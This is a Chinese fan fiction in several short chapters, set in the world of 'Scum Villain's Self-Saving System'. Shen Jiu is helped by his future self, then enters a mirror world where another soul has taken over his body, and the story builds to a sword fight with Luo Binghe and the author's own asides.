大概是沈九的视线太过“热烈”,犹如实质般照在沈清秋脸上,沈清秋差点连“面无表情”都装不下去: 太难了,我都没有表情了,还想让我怎么样? “你不要老是冷哼啦!” 沈九一瘸一拐的走回来,对着沈清秋的脸就是一顿揉。强行将沈清秋的嘴角拉起,礼貌微笑。 “滚!”沈清秋折扇在手、天下我有,快速用折扇打掉沈九作恶的手指,又是一道灵力发出,沈九这次“飞”得更远了。 “!!!”沈九再次一瘸一拐的走回来,气的把脸一扭,用狼尾盖住眼睛,倒头就睡。还非常快速的,发出“呼呼”的声音。 沈清秋看着堪称“幼稚”的沈九,嘴角终究是忍不住,勾起一抹真实的微笑。 不管这是不是幻境。 起码,此时此刻,沈清秋的内心。是满足且平和的。 沈清秋为什么嫉妒、恨不得天天折辱洛冰河? 因为他幼年孤苦,没有长辈庇护。(岳七或许有,但是岳七最后没有遵守约定,所以对岳七的愤恨,完全没毛病) 因为他童年遇人不淑,接连遇见“馋自己身子的秋剪罗”与“带自己杀人放火顶缸的无厌子”。 因为他有天资却被延误,有潜力却被药物和杂事损毁。 所以。 他羡慕那些能在恰当的时机遇上良师益友的天才们——比如柳清歌。 他嫉妒又厌恶有家人庇护,资源无限的世家子弟们——还是柳清歌。 当他终于遇见一个有天资、有潜力,没后台,还与自己极为相像却比自己幸运太多的人,他那些刻意掩盖的恶意,终于压不住了。 人,总会被年少不可得之物,记惦一生。 所以。他确实做错了。 但是,他不会更改。 不过。既然他现在有机会“拯救沈九”。 哪里还想什么,清静峰、苍穹山派那些乱七八糟的事情呢。 他能给自己圆满。 自然不需要,再求什么“天道给予一丝丝庇护”。 这是最好的结果。 以他未来最高境界,来帮助现在陷入泥潭的自己。 就算是没几天自己就会消失。 起码,沈九的命运,是切切实实改变了的。 这次的沈九,对岳七或许有不爽,但不会有仇恨。 两人之间,也没有隔着“被灭门的秋家”和“为他犯上杀师”的罪恶。 沈九可以用最佳时机去修炼,也能得到苍穹山派对天才们独有的资源倾斜。 他又有着那样一颗玲珑心。 苍穹山派上下,对他而言,都是简单模式。 哪怕是后面洛冰河出现。 一个不嫉妒自己弟子的师傅,自然不会对洛冰河过于“虐待”。 大抵,可能还会随着洛冰河的成长,未来获得诸位强者中的一席之位吧。 毕竟。他可是天道宠儿的师傅呢。 沈清秋的一生已经失败过了。 能拯救刚入秋家、还没与秋剪罗涉及男宠之事的沈九,让他完成属于少年天才的一生,已是上上签。 6.沈九被少年九治愈 “哇哈~”沈九长长的打了个哈欠,站起来舒舒服服的伸了个懒腰。看着一旁打坐的沈清秋,张口问道:“苍穹山派最近在收徒?” “嗯。” “……”看来沈清秋又恢复“寡言少语”状态了啊。 对此,沈九也没什么不习惯的,径自朝洞穴深处去洗漱—— 沈清秋居然给自己准备了洗漱用品和换洗衣物,还送给了自己一个储物袋,真是太贴心了! “果然,”沈九暗自吐槽:“这家伙就是刀子嘴豆腐心,表面看起来冷冰冰的,实际上做事极为妥帖。” “当然,千万不要听他说了什么话,也别在乎他的态度,否则真是要被他气死!” 洗漱完,沈清秋眼睛都没睁开,随手指了一下糕点和茶水,示意沈九吃饭。 “呵呵,死傲娇”沈九内心吐槽,身体却极为迅速的进食——乞丐出身,最爱吃!有人给自己准备吃的,那他一定是大好人! 吃饱喝足,沈九看着入定般的沈清秋,再次尝试: “你真的不打算收我为徒?” 沈清秋眼皮都不抬,装成压根没听见的样子。 沈九看着沈清秋“油盐不进”的模样,忍不住诈他: “别装了,你的手都忍不住摸折扇了!” “……”沈清秋无奈睁开眼睛,对着生龙活虎的沈九,淡淡的开口: “可要去苍穹山派拜师?” 沈九看着装的面无表情的沈清秋,眼球“咕噜噜”的转了一圈: “那就去呗,看看传说中的正道第一大派什么样子。” “行。”沈清秋从地上起来,随手施个清洁诀,左手成剑诀,召唤修雅剑。 —— 苍穹山派的招生大典上方,站了一堆人。他们都是十二峰的峰主,还有与苍穹山派交好的一些门派代表人。 “为何你不去弟子席位?也不去检测天赋?难道不想拜入苍穹山派?” 沈清秋看着跟在自己身边的沈九,难得的说了几句话。 这家伙让自己带他过来,却不去检测天赋,也不曾参与弟子考核。直接以“散修”身份进入苍穹山派的招生大典观众台,径自躲太阳,看比赛来了! “大太阳下挖坑,苍穹山派的招人标准可真有意思。” 沈九悠哉悠哉的拿扇子扇风,又从储物袋里面摸出茶杯,愉快的啃着糕点: “我只是来见识一下正道第一大派的风采,又没说必须拜师啊~” “……”丫的,被这家伙坑了。若不是想把沈九妥善送入苍穹山派,沈清秋压根不想过来! 毕竟。清静峰峰主,与自己,渊源颇深。 沈清秋努力摆出冷漠脸,硬邦邦道: “你不找岳七了?” “哪能啊,”沈九嘴上全是糕点碎屑,手朝下一指:“诺,那个就是。” 沈清秋顺着沈九所指方向看去,果然找到了在坑中央“哼哧”努力挖坑的岳七。 嗯,自己来的时间段,其实……也挺早。 岳七都还没拜入苍穹山派呢! ''怪不得啊。''沈清秋内心感慨,沈九选择悠哉的在台上观看,大概也是打算“观礼”后就离开,或者干脆不见面。 至于日后……那就看缘分吧。 “决定了?” “嗨,你不是一开始就告诉我了吗?”沈九嘴巴塞的满满的,像只囤货的仓鼠:“反正我遇见了你,哪里需要痴等岳七呢?” “。”看见如此“洒脱”的沈九,沈清秋内心突然有些触动…… 是啊。自己在秋家呆了太久,“岳七”就成了自己痛苦难捱时的“救赎”。所以当他发现“岳七抛弃了诺言,没有去找自己”时,才会感到失望与愤怒。 后面,更是完全没有心平气和的与岳七说超过三句话。 他一直以为自己是被抛弃、放弃的那个。 直到,岳七因自己的信赴约,万箭穿心而死。 哎。沈清秋的一生,是真的悲剧。 可若是,在秋家的时候,有其他人为自己伸出援手。 沈清秋,也是可以变成现在的沈九的。 “岳七”,也不过是,童年玩伴罢了。 —— “沈清秋!” “嗯?” “你教我的练气功法不对吧?我怎么感觉没几天就能御剑飞行了?你难不成是魔族?专教我急于求成的法子?” “……” “难道我真是万里无一的天才?被你捡漏了?” “……” “喂,你说话啊!” “。辟谷丹不够了。” “那你还不早说?你都炸了几个药炉了!又要接悬赏挣灵石了!” “……”沈清秋看着理直气壮的沈九,突然陷入沉思…… 为什么,他一个清静峰上只需要抚琴作画、读书练字的峰主,现在沦为十项全能、资源全靠自己挣的散修? 而且, 沈清秋看着越长与自己越像的沈九,莫名其妙的,有一种“养成系”感脚? 2. 沈九跳下忘川来到渣反后灭杀冰妹 (一)沈九在黄泉遇见岳七选择跳下忘川 岳清源,竟然抵着地府鬼差们的压力,愣是要死守在望川河,只为清楚地看着每一个上桥的人。 为什么非要逼他呢? 都已经到地府了,为什么还不能喝了孟婆汤,忘却前尘,直接开启下一世呢? 他们的故事,就停留在人世间,喝了汤之后果断重开,不好吗? ——正文—— 沈九死的时候,是心力憔瘁、心灰意冷而死。 世间所在意的——无论是人还是物,亦或是所生活的宗门,都随着自己一起陪葬。 自己从小培养的宁嘤嘤。现在跟这个天道宠儿一起,成为世界的主宰后宫之一。也算是,求仁得仁吧。 跟自己一起打压洛冰河的明帆。明明自己已经很尽力的把他撵下山,甚至都把他打的半死,可他却愣是拖着残破的身躯、硬是要守着清静峰。 与自己一起幼年乞讨的岳七。明明在他第一次过来的时候,就用世间罪恶的的话刺伤他,告诉他要舍弃自己。最后却还是因为自己的一封信,断送了生命,最后万箭穿心。 至于清静峰的其他人。听说是跟着明帆一起,死在了清静峰。 还有同门派的人。听说岳七死后。苍穹山派也很快被洛冰河,覆灭。 人生如此,还有什么可活着呢? 沈九这一生的遭遇。童年凄惨,青年飘零,临到中年好不容易过上几年好日子,却因对门下弟子打压,最后''晚''年不保、惨死于牢中。 成为灵魂体的沈九,浑浑噩噩间,好像看到了,洛冰河在招魂。 招魂啊?? 那得有求生欲,想让你看到才行。 很不巧。沈九的灵魂,一点也不想与洛冰河接触。更不想顺应他的召唤,出现在他的面前。 很快,黑白无常就来带沈九去阴曹地府。 沈九想。自己这一生,下辈子,大概是畜生界吧。 毕竟自己从来不是什么好人,也没做过什么大善事,更不会有人愿意给自己烧纸通路。甚至死的时候,都是破烂身躯,死在牢里,连个全尸都不曾有。 这样的,''不被尊重''。恐怕到地府,也是不受待见的。 沈九正苦笑着,突然,在转角,仿佛看见了……岳清源? emmmm??? 虽然灵魂体不存在眼花……可是自己和岳清源,好像真的是,前后脚死亡? 沈九突然愣住,开始犹豫,不想继续向前走…… 很快,黑白无常就发现了:“沈清秋,你该去奈何桥了。安安分分喝了孟婆汤,投胎转世去吧。” 沈九眼神黯淡,突然转头问黑无常:“我这样满身罪恶的人,可以直接喝汤转世吗?” 黑无常还未回话,白无常''噗嗤''一笑:“你告诉我你是杀了满门?还是灭了世界?”白无常脸色轻蔑: “你要是不想喝汤,不如去18层地狱里走一番,洗清一下脑子,再去投胎转世也不迟” 许是白无常话语过于尖锐,黑无常用眼睛瞥了他一下,对沈九道:“我们前去抓人的时候都会查清事实,地府的阎王册记录中,你可以直接转世。只是下一世,不是人罢了。” “那,我可否问一下,''岳清源''的记录,他也是两位大哥负责吗?”沈九偷瞄了岳清源几眼,发现岳清源并不如自己所想的,跟随人群排队,倒像是……避开人群,刻意等人? “哦,你说那个啊,那个岳清源在忘川河好几天了!”白无常一听''岳清源''就忍不住摇头:“天天在那待着,孟婆都投诉好几次了!” “你想想,大家都老实排队,他偏要在外面,还那么靠近河边,一不小心把该送去喝汤投胎的给挤下去怎么办?那忘川里可是有……” “好了!”黑无常制止白无常的牢骚,扭头对沈九一点头,伸出手一指,示意沈九自己过去。 沈九边走边隐约听到白无常的声音,好像在说……奈何桥能沟通人间?有些恶鬼会抓人借命从哪里偷渡? “哎,人世间一定还有什么惦记的吧,真是有兴致啊,还想返回人间……我……可一点也没兴趣。” 沈九将头低下,紧紧的躲在人群里。虽然他非常厌恶与人接触,但是牢里的生活容不得他;即使他是厌恶接触的性子,竟也是被活生生地''治''好了。 当然,最重要的是。他要随着人群喝了孟婆汤,远离岳清源。 可惜天不遂人愿。 他还是被岳清源发现了。 这个老实人啊。竟然抵着地府鬼差们的压力,愣是要死守在望川河,只为清楚地看着每一个上桥的人。 为什么非要逼他呢? 都已经到地府了,为什么还不能喝了孟婆汤,忘却前尘,直接开启下一世呢? 为什么都已经到了孟婆面前,还要抓着我的手,告诉我说:你对我有多么的愧疚,然后你这次守在地府努力的等着我。想和我一起下刀山火海,入十八层地狱。 沈九看着这个熟悉的、面色憨厚的、执着的人,突然感觉到莫大的荒谬。 他的一生已经很苦了,曾经以为的光还降落成了心底最大的伤。 真的,他之前是无比怨恨的,想着—— 这个岳七,还不如早早死去。那样他可能会愧疚,可能为疯狂,可能会为了他拼搏努力、将他视为人生的信仰与目标。 而不是,成为一个,活着的,万丈瞩目的,没事还处处体贴关心自己的,岳掌门岳清源。 他知道自己做的不对,他也知道自己内心极为的不平衡。 可是他没有办法,不能够,轻易的,就这样子,告诉自己,让自己放下过去。 所以他才尽可能的,跟他避免接触的。 可是为什么?明明自己都这么那么大的努力。最后两人还是阴阳相隔。甚至,走到阴曹地府,这个人还要在自己前面等着自己。 何其可悲,何其可笑。 沈九,气的连孟婆汤都拿不稳,看了眼喋喋不休的岳清源,直接跳下了忘川。 正常的流程是走过奈何桥。前面有转世投胎的六道轮回入口。 忘川河里都是冤死的鬼魂,是没有资格转世投胎之人的灵魂栖居地。 这些冤死的鬼魂,如果想要投胎转世,就要像水鬼一样,拉人入河,将人压入河泥,夺走他的投胎资格。 沈九刚跳下去,腿脚就被千万只鬼手牢牢抓住。可他的袖子,却被岸上的岳清源死死抓着。 沈九看向岳清源,眼神恍惚了一下:“岳清源,喝了孟婆汤,投胎转世去吧。我是真的不想见你,尤其是,在忘川河里。” ——碎碎念—— 岳七在奈何桥等待沈九,很正常吧? 沈九看见岳七就想躲开,甚至忍着厌恶也要随人群赶紧去喝汤重开,能理解吧? 所以说,沈九发现岳七极为执着是时候,干脆选择跳下奈何桥,深陷忘川河,还要言语恐吓,让岳七不能和自己一样“跳下来”,非常有逻辑吧? —————— (二)沈九来到渣反后遇见另一种开展 “这是一个与你所在的大千世界中的镜像世界。在这个世界里,苍穹山派没有灭门,你所在的清静峰也没被火烧。你在乎的那些人,也都还活着。” “哦?”沈九眉头一挑,“我不认为以我的经历、能够达成如此完美的结局。” “你现在还是灵魂之体,出了这个茶馆,你就到了异界。” “如果你不想活下去,就将伞扔掉,烈日之下,魂飞魄散。” ——正文—— 沈九再次睁开眼的时候,自己坐在一个街边小铺上。桌子对面坐了个一身白衣的老先生。 老先生雪白的胡须随风吹拂,一身宽大道服,仙风道骨。身后斜插一个“逆天改命神算子”的招牌…… 嗯,很有江湖骗子的感觉。 “你醒啦啊,年轻人”老先生赶在沈九发话前开口,替他解惑道: “你执念太深,因果又重,真放你在忘川里面,且不说上面那个看似忠厚的要大闹奈何桥,就你而言,也是必成厉鬼,要扰地府清静的。” 沈九看着他身后被风吹的嗖嗖作响的“逆天改命”,沉思良久。 “所以?” 沈九就用眼神示意他继续说下去。 “小伙子,你的命格很奇特,曾是天定之人。可惜中途天道改意,导致你半生凄苦。但是像你这样的命格,地府是不敢久留你的。” 老先生捋了捋胡须,像是讲故事般,跟沈九满满解释道: “这是一个与你所在的大千世界中的镜像世界。在这个世界里,你还是世界的主角(某种意义上),苍穹山派也没有灭门,你所在的清静峰也没被火烧。你在乎的那些人,也都还活着。” “哦?”沈九眉头一挑,“我不认为以我的经历、能够达成如此完美的结局。” 自家人知自家事。让沈九不去虐待,与自己经历相同、但幸运许多的洛冰河,沈九自问达不到。 而洛冰河身为天魔混血,就算是没有跌入无间深渊,魔族也会想办法联系到他,修仙界和魔界依旧会有一场大战。 这个时候,一个对自己不算友好的师傅、门派,以及对自己不算美满的修仙界,洛冰河凭什么要为修仙界去打魔界呢? 更何况魔界是实力为尊。洛冰河有能够统一两界的能力,他为什么不去魔界做他的至尊之位,而要跑到修仙界? 怎么想都是不可能的事情。 除非说。洛冰河已死。但是这个可能,沈九表示:完全不信。 “你现在还是灵魂之体,出了这个茶馆,你就到了异界。带上这把伞,”老先生从纳戒中取出一把其貌不扬的黑伞: “用这把伞遮住日光,你能在这里待上三天。如果你不想活下去,就将伞扔掉,烈日之下,魂飞魄散。” “至于三日后……”老先生静静看了沈九一眼:“如果你那时没有魂飞魄散,黑白无常会来接你回去喝孟婆汤的。” 当然,看老先生的意思,差不多是笃定沈九“不会回去”的。 沈九不知可否的挑了个眉,随手将伞拿起,随意的挽几个剑花,走出茶楼。 ———— 沈九其实并不想回苍穹山派,也不想看到完好无损的清静峰。那样会默默提醒,他为人的失败。 而且吧,他不是很想见到某个人。某个,真的在地府等他的人。 不过。有时候的谣言真的很荒谬。荒唐的,让人想不顾一切的弄死对方。 “春山好风景啊~美不过清秋君~” ???什么君?什么山? 沈九刚踏入异世,打算找个茶楼打听一下消息,就被楼上弹唱的小曲给震惊到了。 而后面的消息,更是一个赛一个的劲爆: 苍穹山派通魔? 清静峰沈清秋和魔界之主洛冰河搞一起了? 柳清歌没死就算了,还帮两人打掩护? 苍穹山派掌门岳清源对两人的纠缠视若无睹、甚至偷偷为沈清秋撑腰? 沈清秋喜欢喝洛冰河的血? 诸多画本子上沈清秋还是怀孕的那个? 沈九听到这些“传闻”的时候,杯子都快拿不稳了! 为了求证,他还专门又换了个茶馆…… 但是!谁告诉他,为什么苍穹山派的弟子们,还听的一脸津津有味的样子??? 这个世界怎么了?这是发生了什么? 沈九表示自己的三观已经破碎,简直不敢相信,这些谣言居然能在苍穹山派所管辖范围之内,肆无忌惮的传播。 最重要的是!那一群穿着苍穹山派弟子服的,也完全没有说去“澄清谣言”的意思?! 沈九觉得,自己,是应该上一趟清静峰,查看''真相''了。 随手扔下腰间的玉佩,沈九撑着黑伞就朝苍穹山派走去。 得益于未成清静峰峰主的时候,数次不爽就下山采''风'',对于上山路上如何避开旁人,沈九很有心得。而且今天是阴天,山上又树影婆娑,只需要拿着伞就行,无需撑起。 很快,清静峰,近在眼前。 只是吧。 沈九用树遮挡自己的身影,看着面前勾勾搭搭的狗男男,以及……旁边装作什么也没看见的某人。 原来,传言不假。这山上的两个人果真是牵扯不清;而旁边这个,也跟瞎了似的,兀自说着“你这次出门要当心、弟子历练是应该的,不要过于担忧。” 沈九本想等岳清源离开后再发难——毕竟,如果这不是自己的世界,说不定两人之间没有深切的仇恨,只不过是自己看不顺眼而已。 可岳清源的下一句,让沈九捏着伞柄的手,瞬间握紧。 —————— (三)沈九不被众人选择 “呵,”沈九冷哼,“原,装,货?” “孽障,谁准你与我说话?” “你这没心没肺的小畜生,欺师妄上不说,现在我说话还敢插口?莫不是还想挨抽不成?” 如果说,眼前的黑衣人才是沈清秋。 那么,现在“沈清秋”壳子里的,是谁? ——正文—— 可岳清源的下一句,让沈九捏着伞柄的手,瞬间握紧。 岳清源那该死的厚重声音,发出了一个朴实的疑惑: “小……清秋师弟,你之前对这个弟子……也没有这么上心啊,怎么从魔族入侵的那段时间起,连明帆都比不过他了?” “师兄,人都是会变得嘛”和自己一模一样,但却轻快、嬉皮的声音响起: “突然觉得冰河挺好的,就改过自新,对他多加弥补些。你看现在,冰河多乖啊。” 沈九随着他的话语看向洛冰河,一模一样的脸上,充满了“乖巧可爱”,举止更是随着''沈清秋'',牢牢紧跟得像是恶龙守护着自己的宝藏。 洛冰河能被养的如此''听话'',这个''沈清秋'',挺有能力啊。 沈九思考的有些入神,没有意识到另一侧有人过来,直到旁边忽然传来破风声:“什么人?” 沈九用黑伞挡开来剑,却见到对面疑惑的表情:“沈清秋?你躲树后面干什么?今天怎么不着青衣,改穿黑衣了?” “柳清歌?你果真还活着。”沈九看见来人,忍不住脱口而出道。原以为是传言,没想到他在这个世界,并没有死于灵犀洞。 “啊?什么黑衣啊?我今天没换衣服啊?” 另一边,同样的声音传来。同时并几人的走路声。 “!原装货!”''沈清秋''失口脱出。 “?”一脸懵逼的柳清歌,看着两个一模一样、除了衣服不同的人,陷入沉思。 “呵,”沈九冷哼,“原,装,货?” 他突然悟了:为什么这个世界,''沈清秋''和''洛冰河''的关系会这般黏黏糊糊,为什么柳清歌还能活着,为什么苍穹山派的弟子们,从不去压流言蜚语。 原来。是夺舍啊。 看样子,这个夺舍者,与大家都相处的很开心啊。与洛冰河那个畜生,更是真的“情投意合”“交际甚密”啊。 “你既然能救下柳青歌,想必……武功也不弱。” 沈九不想评论事情的经过,反正都过去了,多说无益。所以,江湖规矩,打一架,赢得人说了算! “那就跟我打一架,打赢了,身体我就让给你了!”沈九眼神一暗:“打输了,咱俩一起魂飞魄散!” “不准你动我师尊!”洛冰河突然发声,站在''沈清秋''面前,用正阳剑指着沈九。 “孽障,谁准你与我说话?”沈九压根不给洛冰河眼神,张口便骂:“你这没心没肺的小畜生,欺师妄上不说,现在我说话还敢插口?想挨抽不成?” 此话一出,众人终于明白了,这个突然出现的黑衣人,是十多年前的沈清秋! 或者说,是被夺舍掉身体的,沈清秋。 —— “小九?” 最激动的,莫过于岳清源。 毕竟,这是一个无论从什么意义上来说,都与沈九关系极为密切的人物。 “呵-”沈九冷哼一声,完全不想理睬岳清源。虽然说自己是为了躲避“岳清源”,误入的这个世界。 但是!这并不代表沈九对这个世界的岳清源没有愤怒,不会生气! “小九……”岳清源苦涩的张口欲言,又不知该说些什么。 他能说什么呢? 说他从没发现不同吗? 可是他刚才明明就是在询问“沈清秋”,想知晓为什么“沈清秋”和“洛冰河”突然关系密切,还发生了那么多的曲折后续…… 说他发现了不同,却没有动作吗? 这个倒是真的…… 毕竟。“沈清秋”,不是好好的活着的吗。 而且,还“收服”了疯癫黑化的洛冰河,让修真界躲过了一次灭世危机。 但是……这些话, 岳清源没脸跟沈九说。 也,说不出来。 更,问不出来。 相比较于岳清源的“扭扭捏捏”,柳清歌就直白很多了。 柳清歌身为一个家境优越,一心只想着将修为达到巅峰的武痴,他的思想很是大直男。柳清歌将举着的剑挽了个剑花收起,对着黑衣人就问: “所以你是十多年前的沈清秋?” 沈九毫无君子风范的翻了个白眼,完全不想理睬这个没脑子的货。 “看来是了。”柳清歌看着沈九的白眼,点了点头,难得的点评了一句: “你这个假清高的小人,现在倒是不装了。原来换个身体还能拯救你的虚假,还是不错的。” “柳清歌!劳资现在就要弄死你!”无论什么时候,沈九都会轻易被柳清歌挑起怒火,黑伞飞在沈九身侧,恨不得直接对上柳清歌的喉咙。 “哦,来战啊?”柳清歌完全不怵,拔剑就准备开干。 “两位师弟……”被忽略成路人的岳清源不得不出来制止两人的针锋相对。 这样的场景……好像从柳清歌在灵犀洞走火入魔后,就再也没见过了。 当时,大家都震惊于“沈清秋救了走火入魔的柳清歌”。觉得相比于柳清歌的走火入魔,沈清秋会救人,才是最让人惊掉下巴的。 现在想想…… 还真是一点不错! 不过,万剑峰、试剑台上的奇剑“红镜”,明明只要怨魂恶灵一类靠近,剑身会自动出鞘,砍伤来人的。 若是“沈清秋”真被不净物附体,只要他靠近试剑台,红镜必然警声大作。 但,万剑峰的魏清巍说过:“他走过去三次,还试着拔了三次,毫无动静” 又因为“沈清秋”身上毫无鬼气,而走火入魔、被石头撞到头后确实有可能损失记忆,继而性情大变……所以…… 大家都默认了……沈清秋还是本人。 再加上……“沈清秋”之前的为人处世……确实,不如现在的这个…… 而且木清芳也曾说“我检查过,没什么头绪,难以入手”…… 最后,大家一致得出了“清静峰峰主失忆了,喜大普奔”的结论。 就,没有人再考虑这件事。 ———— 此时此刻,就算是用正阳指着沈九的洛冰河,都有了一丝的……疑惑与懵逼。 如果说,眼前的黑衣人才是沈清秋。 那么,现在“沈清秋”壳子里的,是谁? 反正不管是谁,他洛冰河认定的师尊,只有身后的一人!哪怕他是孤魂野鬼转世,哪怕他是夺舍人身体的恶鬼,也是洛冰河要守护的人! ——碎碎念—— 对于沈九来说,沈劳斯是一个占了自己的恶鬼。 但是很不巧,这个“恶鬼”占据自己身体后,竟然和其他人相处的极为融洽! 像极了…… 那些穿越小说中,穿越者完成了任务回去,然后原主回归,被讽刺不如“任务者”,甚至希望原主死掉,让穿越者再次归来! 这种小说,是存在的。 毕竟任务者轮回那么多次,肯定比原主要强很多。 再说了,若不是原主太弱,也不会出现“任务者”去解决问题。 可是周围的人,已经接触过“十项全能、待人温和有礼”的任务者后。 嫌弃软弱无能、小肚鸡肠、话都说不清楚,事也办不好的原主…… 也是非常,非常现实的一件事情! 所以。其实。 苍穹山派那些人,并不是很希望沈九回归。的。 沈九失踪,不是没人发现的。 只是吧。大家都更喜欢现在的这个人。 而且他们的“鉴定宝剑”都没问题, 所以嘛。 大家,都默认了~ —— 这也是一开始,我之前写了一篇,沈九的悲愤: “你们相处的很融洽嘛” “你们不是没有发现吧?只不过现在这个多好啊,以前那个多不好啊,所以你们就默认了,对吧?” “可能有人警惕,后面发现对其他人没什么不好的,也就无所谓了” 哎。 丢失了身份,周围人发现了不对,却没人尝试寻找。 才是最可悲的事情啊。 —————— (四)其他人让沈九忍耐,沈九不乐意 “所以,你是异界来魂?确实不是沈清秋?” “毁灭世界还不至于,不过攻上苍穹山派,准备火烧清静峰,倒是干过。” 冰妹终究是与冰哥一样的,拥有毁灭世界能力的大疯批! 这样的天命大杀器,必须有人控制住! ——正文—— 反正不管是谁,他洛冰河认定的师尊,只有身后的一人!哪怕他是孤魂野鬼转世,哪怕他是夺舍人身体的恶鬼,也是洛冰河要守护的人! “那个……”“沈清秋”开口了。 这个时候,岳清源夹在柳巨巨和原装货之间进行调和,冰妹在自己目前举剑,一副要“杀掉所有敌人”的架势。 能破局,打破此时僵硬气氛的,也只有他了。 沈劳斯轻轻推开站在自己面前“严阵以待”的冰妹,对着沈九解释道: “沈大大,我并不是故意要夺舍你的。事实上,我也是受害者……” “呵”沈九对沈劳斯的“解释”完全不感兴趣,苦衷这种东西,最是没用,事实已经发生了,你跟我说一堆的苦衷,是指望我这个“被夺舍者”,去怜悯、可怜你吗? “小九……”岳清源看着努力解释的“沈清秋”,又看看完全不接茬,只想打架的沈九,一时间犯了难。 关键时刻,还是柳清歌最为靠谱: “所以,你是谁?什么时候进入''沈清秋''的身体的?为什么身上毫无鬼气,红镜也完全检测不出来?最重要的是,你进入沈清秋身体的时候,沈清秋去哪了?” “这个……” 沈劳斯一时半会很难说明白,所以他决定先说一些能说的,其他不能说的,系统应该会屏蔽吧。 “我叫沈恒,是哔哔-世界来的。我在我的世界因吐槽''哔哔-''而被送了过来,我来的时候,没有察觉到体内有灵魂!绝对不是因为我的原因,导致的沈大大死亡!” “呵-”沈九已经成了冷哼机器,除了冷漠与讽刺,什么也不做。 “所以,你是异界来魂?确实不是沈清秋?” 柳清歌还是一针见血,简单的一句话,就把事情完全分析清楚。 不过对比于柳清歌的简单干脆,岳清源就要优柔寡断许多: “那么……你可曾试过……” 沈劳斯知道岳清源想说什么,无非是想让自己换个身体居住,或者说帮沈九找个身体。这样也算是“两全其美”的解决办法。 不过很可惜,沈劳斯来这里是因为系统任务。虽然现在任务已经完成,但是他是真的没有“脱离身体”的能力,更没有帮别人“进入身体”的方法啊! “不好意思……”沈劳斯用折扇捂住脸,试图远离与沈九对上的修罗场。 “师尊,别怕,我替你杀了他!” 贴心冰妹,时刻关注沈劳斯的一举一动,在察觉到沈劳斯对沈九对“愧疚”后,毫不犹豫的就要帮他解决掉制造问题的人。 毕竟。冰妹虽然对沈劳斯任劳任怨、随叫随到。 但是冰妹终究是与冰哥一样的,拥有毁灭世界能力的大疯批! 这样的天命大杀器,必须有人控制住! 否则, 后果不堪设想! “清……沈恒师弟,你……” 岳清源不愧是一派掌门,看见冰妹举动的一瞬间就分清了利弊,立刻选择安抚沈劳斯: “沈恒师弟,如果你没有办法,可否告知一下,你当初是如何进入清秋师弟体内的方法?也便于我们尝试一下。” “放心,我们会保证你的安全。等此间事了,我会以掌门身份召开集体会议,你可以以''客卿长老''的身份待在苍穹山派。你看如何?” 岳清源说话滴水不漏,又极为妥善的处理了两人的身份: 沈九回归清静峰峰主身份; 沈恒以客卿长老的身份待在苍穹山派。 至于两人为何这般相像……嗯,双胞胎、同生子,都是很好的缘由。 至于清静峰的弟子们…… 反正都这些年了,上一批弟子们都可以放下山去历练了。 至于十二峰其他峰主,就透个风声吧。 反正,当年大家也都猜测过,只不过……选择了,当成走火入魔、丧失记忆、性情大变。 现在,也该知道“真相”了。 ———— “多谢掌门师兄,我没问题。” 沈劳斯果断应声,对他而言,只要不被当成夺舍旁人身体的恶魂,被火烧死,已经很不错了。 而且他本就打算与洛冰河一起游山玩水,当个客卿长老,是个极不错的选择。 至于洛冰河? 只要沈劳斯活着,还愿意脱去“清静峰峰主”的职责,陪自己游戏人间、畅游天下,何乐而不为? 所以,对于这个结果,两个人都极为满意。 只是。 看着其乐融融的“沈清秋”和“洛冰河”。 一直冷哼的沈九,终于忍不住了。 “柳清歌,我且问你,洛冰河可曾毁灭世界?可曾带众攻上苍穹山派?可曾火烧清静峰?” “?” 居于岳清源另一侧的柳清歌不知沈清秋又发什么疯,看了一眼岳清源,淡淡回复道: “毁灭世界还不至于,不过攻上苍穹山派,准备火烧清静峰,倒是干过。” “!!!”沈劳斯冷汗都下来了!本以为“逃过一劫”,没想到沈九给他来了个大的! 沈九所说的事情,柳清歌确认的事情, 洛冰河都干过!!! 而且这个是没办法洗的…… 甚至,当初苍穹山派与魔族对打和战后重建,其他正道盟友,也有不少一同参与了!!! 即使那时候沈劳斯还没复活成功,但是这么大的事情,随便找个人打听一下,就能清清楚楚的知道啊! 这要怎么搞! 气氛又一次冷凝起来。 大战,一触即发。 —————— (五)沈九直接与冰妹对打,柳清歌也加入 “用着我的身体和畜生苟且,还用我的本命灵剑替牲口挡剑?” “那是我的身体!我的本命灵剑!他一个夺舍之人,侵占我的东西那么多年,怎么就成他的了?他就是个小偷!” “你们一个欺师灭祖的畜生,一个侵占他人躯体的盗贼,当真是男娼男盗、狼狈为奸!” ——正文—— “果然是狗改不了吃s,畜生就是畜生!” 沈九突然暴起,黑伞直对洛冰河心脏袭去。 沈劳斯想也不想的,拿起修雅替冰妹挡下。 “修雅!” 沈九手上捏着的黑伞都要散开,看着沈恒手里的修雅,气的眼睛都要充血: “用着我的身体和畜生苟且,还用我的本命灵剑替牲口挡剑?” 说着,沈九左手成诀,灵力涌现: “修雅,回来!” 沈劳斯手中的修雅剑发出阵阵争鸣,颤抖着,想要飞出去。 “修雅剑!”沈劳斯手中加大灵力输出,努力压下修雅剑的暴动,心里狂喊:“系统!系统!系统出来!” “不准你欺负我师尊!那是我师尊的剑!” 洛冰河看见沈九的动作,又看着在沈劳斯手中不断颤抖的修雅剑,急的直接从沈劳斯身后闪出,对着沈九开打。 沈九用伞隔开洛冰河的进攻,愤怒的对洛冰河骂道: “那是我的身体!我的本命灵剑!他一个夺舍之人,侵占我的东西那么多年,怎么就成他的了?他就是个小偷!” “你们一个欺师灭祖的畜生,一个侵占他人躯体的盗贼,当真是男娼女盗、狼狈为奸!” “啊!”洛冰河额头印记浮现,手中的正阳剑也变成了心魔剑,一时间,魔气充斥着整个竹林。 “洛!冰!河!”感受到身边汹涌的魔气,一直处于战况外的柳清歌终于反应过来,瞬间就提剑砍去: “我说过多少次,苍穹山派不欢迎你!更不欢迎修魔之人!” —— 一个沈九,或许打不过洛冰河。 一个柳清歌,与洛冰河对上也是屡战屡败。 可若是,沈九与柳清歌联手,对打洛冰河呢? 若是沈九本就心存死志,打算以魂飞魄散的代价去弄死洛冰河呢? 天道宠儿虽然强,但是他毕竟没有破碎虚空。他的强大,是指在世界容忍范围内称王。 可,洛冰河没长成之前,柳清歌就是绝对的世界武力天花板! 沈清秋,在沈劳斯没穿过来之前,也是虽然打不过柳清歌,但是也堪称动用所有手段外,拼命相搏,能打至平手的存在! 这样的两个人,如果有着共同的目标;并且…… 一个因为屡败屡战,而几乎摸透了对手的套路; 